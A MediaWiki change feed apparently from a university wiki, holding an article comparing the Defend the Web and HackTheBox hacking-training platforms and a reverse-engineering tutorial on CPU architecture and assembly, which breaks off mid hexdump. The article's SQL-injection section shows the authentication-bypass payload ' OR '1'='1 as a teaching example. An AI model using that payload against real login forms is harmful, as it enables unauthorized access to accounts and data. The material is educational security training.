HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17606</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17606"/>
		<updated>2024-12-18T19:12:28Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17591</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17591"/>
		<updated>2024-12-18T19:00:49Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Created page with &amp;quot;== Introduction == The increasing prevalence of cyberattacks in today&amp;#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicio...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:GHIDRA.png&amp;diff=14742</id>
		<title>File:GHIDRA.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:GHIDRA.png&amp;diff=14742"/>
		<updated>2024-06-21T15:02:33Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
Image source: https://firmwaresecurity.com/2019/03/06/nsa-releases-ghidra-a-software-reverse-engineering-sre-framework/&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Radare2.png&amp;diff=14741</id>
		<title>File:Radare2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Radare2.png&amp;diff=14741"/>
		<updated>2024-06-21T15:01:47Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
Image source: https://www.logo.wine/logo/Radare2&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14740</id>
		<title>Reverse Engineering: Ghidra and Radare2</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14740"/>
		<updated>2024-06-21T15:01:07Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:GHIDRA.png |350px|right|thumb|Ghidra Logo]]&lt;br /&gt;
[[File:Radare2.png |350px|right|thumb|Radare2 Logo]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation serves as a short and quick tutorial for reverse engineering. It is split in two parts:&lt;br /&gt;
&lt;br /&gt;
 1) Computer and operating systems basics (foundations to understand reverse engineering)&lt;br /&gt;
&lt;br /&gt;
 2) Reverse Engineering with 2 common tools (Ghidra and Radare2)&lt;br /&gt;
&lt;br /&gt;
Feel free to skip the first parts if you are already familiar with these concepts.&lt;br /&gt;
&lt;br /&gt;
== Computer architecture ==&lt;br /&gt;
&lt;br /&gt;
There are a variety of computer architectures, the most prominent of which include both the Harvard and von Neumann concepts.&lt;br /&gt;
&lt;br /&gt;
=== Harvard Concept ===&lt;br /&gt;
&lt;br /&gt;
The Harvard concept is widespread in various fields, particularly where high efficiency and speed in data processing are required. The Harvard architecture refers to a concept where instructions and data are stored in separate memories. The processor (CPU) has a separate bus for the instruction memory and the data memory. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.[[File:Image.png]]&lt;br /&gt;
&lt;br /&gt;
=== Von Neumann Concept ===&lt;br /&gt;
&lt;br /&gt;
Most of today&#039;s commercial computers for private users are based on the von Neumann concept. A key aspect of the von Neumann architecture is storing data and programs in the same memory. The processor is connected to the memory and the I/O units through the same bus system, allowing it to access the stored instructions and associated data in the memory as well as I/O data. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are also required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.&lt;br /&gt;
&lt;br /&gt;
[[File:Image2.png]]&lt;br /&gt;
&lt;br /&gt;
The following chapters will exclusively focus on the von Neumann concept, even though there are similarities between the concepts mentioned above.&lt;br /&gt;
&lt;br /&gt;
=== The Processor ===&lt;br /&gt;
&lt;br /&gt;
The processor (CPU) is the central component of every computer and essentially consists of the following components:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Arithmetic and Logic Unit (ALU):&#039;&#039;&#039; Performs arithmetic and logical operations.&lt;br /&gt;
* &#039;&#039;&#039;Working or Arithmetic Registers:&#039;&#039;&#039; Stores operands and results temporarily during operations.&lt;br /&gt;
* &#039;&#039;&#039;Control Unit:&#039;&#039;&#039; Manages internal components of the processor such as ALU, registers, bus systems, and other resources.&lt;br /&gt;
&lt;br /&gt;
Each processor has its own instruction set, dependent on the processor type or architecture. The instruction set comprises a set of commands. Each command is associated with a bit pattern known as the instruction code, machine code, or opcode. Commands stored in memory are executed sequentially. The sequence of commands in memory is referred to as a program. Depending on the commands in the program, the processor performs various operations. When designing a computer architecture, the functionality of the computer is defined in part by the processor&#039;s instruction set.&lt;br /&gt;
&lt;br /&gt;
The processor includes an internal bus system and interfaces with external address, data, and control buses (the control bus is not depicted here for simplicity).&lt;br /&gt;
&lt;br /&gt;
The address bus is used to communicate with devices such as memory cells, input/output devices, etc., for interaction purposes.&lt;br /&gt;
The data bus is used to exchange data with addressed devices.&lt;br /&gt;
The control bus has diverse functionalities, such as controlling the direction of data exchange on the data bus.&lt;br /&gt;
&lt;br /&gt;
The highly simplified and schematically represented processor in Figure 3 features a working register A, used, for example, to store interim results. All arithmetic and logical commands are executed by the Arithmetic Logic Unit (ALU), where in this case, the working register A must always contain one of the operands. For operations involving two operands, the second operand is loaded from memory by specifying its address through the intermediate register ZR. The result of the operation is then written back into working register A, replacing its previous content. Depending on the result of an operation, the ALU sets individual bits in the status register (Flag Register F). These bits, known as flags, indicate the outcome of the executed operation. Examples of flags in the status register include the Zero Flag, Carry Flag, and Overflow Flag. The state of these flags in the status register can be checked and used, for instance, for conditional jump commands to execute conditional branching in the program.&lt;br /&gt;
&lt;br /&gt;
The control unit houses all the logic necessary for executing commands and controlling the resources accordingly.&lt;br /&gt;
&lt;br /&gt;
[[File:Image3.png]]&lt;br /&gt;
&lt;br /&gt;
=== Command Execution ===&lt;br /&gt;
&lt;br /&gt;
Essentially, the following cyclic scheme outlines the execution of an instruction:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FETCH&#039;&#039;&#039; (Fetch instruction from memory)&lt;br /&gt;
* &#039;&#039;&#039;EXECUTE&#039;&#039;&#039; (Execute instruction)&lt;br /&gt;
&lt;br /&gt;
During the Fetch phase, the instruction located at the address stored in the program counter is loaded into the instruction register. Subsequently, the program counter is incremented by one. If an instruction spans multiple words, the control unit repeats this process until the entire instruction is loaded.&lt;br /&gt;
&lt;br /&gt;
During the Execute phase, the instruction is executed. For example, an address is issued through an intermediate register, an operand is fetched from that address, it is added to the second operand already stored in working register A, the result is then stored back into working register A, and corresponding flags are set in the flag register.&lt;br /&gt;
&lt;br /&gt;
Branch instructions allow for interruption or alteration of the sequential program flow. In the case of a branch instruction, the program flow continues at any other point defined by the branch instruction.&lt;br /&gt;
&lt;br /&gt;
The processor presented in this section is a highly simplified model. Commercial processors typically feature a multitude of working registers, registers with specialized functions, and data pathways beyond those outlined here for address and data buses.&lt;br /&gt;
&lt;br /&gt;
=== Memory ===&lt;br /&gt;
&lt;br /&gt;
The memory can essentially be envisioned as a one-dimensional array of field elements with a fixed bit width, where each field element can be accessed by a unique address.&lt;br /&gt;
&lt;br /&gt;
== Hardware programming ==&lt;br /&gt;
&lt;br /&gt;
=== Machine Commands ===&lt;br /&gt;
&lt;br /&gt;
Typically, a machine instruction consists of an opcode followed by an address portion. An opcode is a unique bit pattern interpreted by the control unit, prompting it to execute all necessary steps for that particular instruction. The address portion, on the other hand, is used to address one or more operands. Machine instructions can vary in length, which can either complicate and slow down the control unit or be fixed in length to mitigate the aforementioned drawbacks.&lt;br /&gt;
&lt;br /&gt;
=== Addressing Types: ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Register addressing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
In register addressing, only registers are referenced.&lt;br /&gt;
&lt;br /&gt;
 MOV R1, R2  ; Copy the value from register R2 to register R1&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Immediate addressing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
In immediate addressing, the operand itself is specified in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV R0, #5  ; Load the immediate value 5 into register R0&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Absolute addressing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Absolute addressing specifies the memory address of the operand in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV EAX, [0x1234]  ; Loads the value from memory address 0x1234 into register EAX&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Relative addressing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Relative addressing specifies the desired address as an offset relative to a base address. The base address is typically stored in a defined register, and the offset is provided in the machine instruction. The Program Counter (PC) contents are often used as the base address.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [PC, #4]  ; Load the value from address (PC + 4) into register R0&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Indexed Addressing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Indexed addressing is similar to relative addressing. It also calculates an offset from a base address. However, in indexed addressing, the address is provided in the instruction, and the offset is fetched from a special register called the index register.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1, #4]  ; Load the value from memory address (R1 + 4) into R0&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Indirect Addressing (Pointer)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
In indirect addressing, the actual address resides in a memory location. This means that the address of the memory location containing the desired address is specified.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1]  ; Load the value from the memory address stored in R1 into R0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here are presented in assembler code for readability and understanding, and should be interpreted as pseudocode until the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Subprograms ===&lt;br /&gt;
&lt;br /&gt;
To save memory, frequently executed program segments are stored in memory only once. These commonly executed program segments, also known as functions, can be accessed using specific jump instructions. Depending on the instruction, either the jump address is immediately loaded into the Program Counter (PC) and execution jumps to that address, or the current Program Counter contents are stored first, followed by loading the jump address into the PC. This allows the program flow to resume at the point where the function was called after exiting the function.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, for example, you can jump to a subroutine (function) using the following two commands:&lt;br /&gt;
&lt;br /&gt;
 BAL target_label         ; Branch Always: Jump immediately to the address specified by &amp;quot;target_label&amp;quot;&lt;br /&gt;
 BL function_label        ; Branch with Link: The current PC contents, which hold the address of the next instruction, are stored in the Link Register (LR). Then, jump to the address specified by &amp;quot;function_label&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
A function called as a subroutine can be exited using a specific return instruction.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, after completing a subroutine, you can return to the calling function using the following commands:&lt;br /&gt;
&lt;br /&gt;
 BX LR                     ; &amp;quot;Branch and Exchange&amp;quot;: The processor jumps to the address stored in the specified register (LR).&lt;br /&gt;
 MOV PC, LR                ; Move the contents of the Link Register (LR) into the Program Counter (PC).&lt;br /&gt;
&lt;br /&gt;
These instructions allow for efficient management of program flow, returning execution to the point where the subroutine was called. To store the Program Counter and other data (such as register contents), the stack can be utilized. The stack is a simple last-in, first-out (LIFO) managed memory structure. This method of management facilitates handling of nested subroutine calls. Typically, the stack is located in main memory, and the processor maintains the memory address of the most recently stored item in a dedicated register known as the Stack Pointer (SP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here have been presented in assembler code for readability and understanding. At this point, they should be interpreted as pseudocode, pending the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
== Higher-level programming languages ​​and abstraction concepts ==&lt;br /&gt;
&lt;br /&gt;
The two main problems of hardware programming described so far are that machine instruction bit patterns are difficult to remember, and programs in machine code are hard to relocate due to their absolute addresses.&lt;br /&gt;
&lt;br /&gt;
=== Assembler ===&lt;br /&gt;
&lt;br /&gt;
The solution to the issues of poor memorability and readability of machine code involves introducing an abstraction where machine instructions are associated with words and symbols used in programming instead of directly using the machine instruction bit patterns in source code files. Now, programs can be written in text files using these words and symbols, known as assembly language, rather than machine instruction bit patterns. These text files are processed by a translation program called an assembler, which converts them back into machine instruction bit patterns, transforming the word- and symbol-based program into executable code. Text files containing assembly code are commonly referred to as assembly source files and are typically saved with the extension &amp;quot;.s&amp;quot;. Files containing the output translated by the assembler are called object files and are usually saved with the extension &amp;quot;.o&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of an assembly program that adds two registers:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
          movl 	$0, %esi&lt;br /&gt;
          movl   $3, %eax&lt;br /&gt;
          add	%eax, %esi&lt;br /&gt;
&lt;br /&gt;
An assembler program can be translated into machine code on Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 as test.s -o test.o&lt;br /&gt;
&lt;br /&gt;
Please note, this creates an unlinked program object in machine code!&lt;br /&gt;
&lt;br /&gt;
To display machine code as assembler code, i.e., to disassemble it under Linux, you can use the following command:&lt;br /&gt;
&lt;br /&gt;
 objdump -d test.o&lt;br /&gt;
&lt;br /&gt;
=== Linker ===&lt;br /&gt;
&lt;br /&gt;
The solution to the problem of difficulty in relocation involves introducing symbolic addresses, which act as &amp;quot;variables&amp;quot; called &amp;quot;labels&amp;quot; and are definitively set by the linker. These symbolic addresses are prefixed with zeros by the assembler, and relocation information tables are created to instruct the linker to insert the addresses of these labels at the respective locations.&lt;br /&gt;
&lt;br /&gt;
From now on, programs can be divided into components and developed independently. Files containing the output bound by the linker are executable files known as binaries. They receive an extension dependent on the operating system (e.g., &amp;quot;.exe&amp;quot; in Windows).&lt;br /&gt;
&lt;br /&gt;
Unlinked object files can be linked into a binary under Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 ld test.o -o test&lt;br /&gt;
&lt;br /&gt;
This command links the object file &amp;quot;test.o&amp;quot; into an executable binary named &amp;quot;test&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Compiler ===&lt;br /&gt;
&lt;br /&gt;
Writing program logic in assembler is unfortunately still somewhat cumbersome. Firstly, machine instructions expressed in words or symbols, despite commonalities across different processors, remain heavily dependent on the specific processor architecture. Secondly, human thought constructs can be complex and may be implemented differently or with difficulty in various processor assemblers. This situation has led to another level of abstraction: the development of higher-level programming languages. These languages provide means to express logical constructs in ways that are more easily understandable to humans and can be formulated universally across different processor instruction sets. From this point onward, primitives can be formulated in these higher-level languages, which are then translated into the specific assembler instruction set of a processor by a program called a compiler.&lt;br /&gt;
&lt;br /&gt;
=== Compilation Process Example ===&lt;br /&gt;
&lt;br /&gt;
Here is a highly simplified example illustrating the respective representations of a sample program:&lt;br /&gt;
&lt;br /&gt;
* Example.c:&lt;br /&gt;
&lt;br /&gt;
 int main() {&lt;br /&gt;
    exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation process&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Command to invoke only the GCC compiler under Linux:&lt;br /&gt;
&lt;br /&gt;
 gcc -S Example.c&lt;br /&gt;
&lt;br /&gt;
* Example.s:&lt;br /&gt;
&lt;br /&gt;
 main:&lt;br /&gt;
    pushl   %ebp&lt;br /&gt;
    movl    %esp, %ebp&lt;br /&gt;
    pushl   $0&lt;br /&gt;
    call    exit&lt;br /&gt;
    addl    $4, %esp&lt;br /&gt;
    popl    %ebp&lt;br /&gt;
    ret&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Assembly Process&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Command under Linux to translate an assembly program into machine code:&lt;br /&gt;
&lt;br /&gt;
 as Example.s -o Example.o&lt;br /&gt;
&lt;br /&gt;
* Example.o:&lt;br /&gt;
&lt;br /&gt;
 0000    55&lt;br /&gt;
 0001    89E5&lt;br /&gt;
 0003    6A00&lt;br /&gt;
 0005    E800000000&lt;br /&gt;
 000a    83C404&lt;br /&gt;
 000d    89EC&lt;br /&gt;
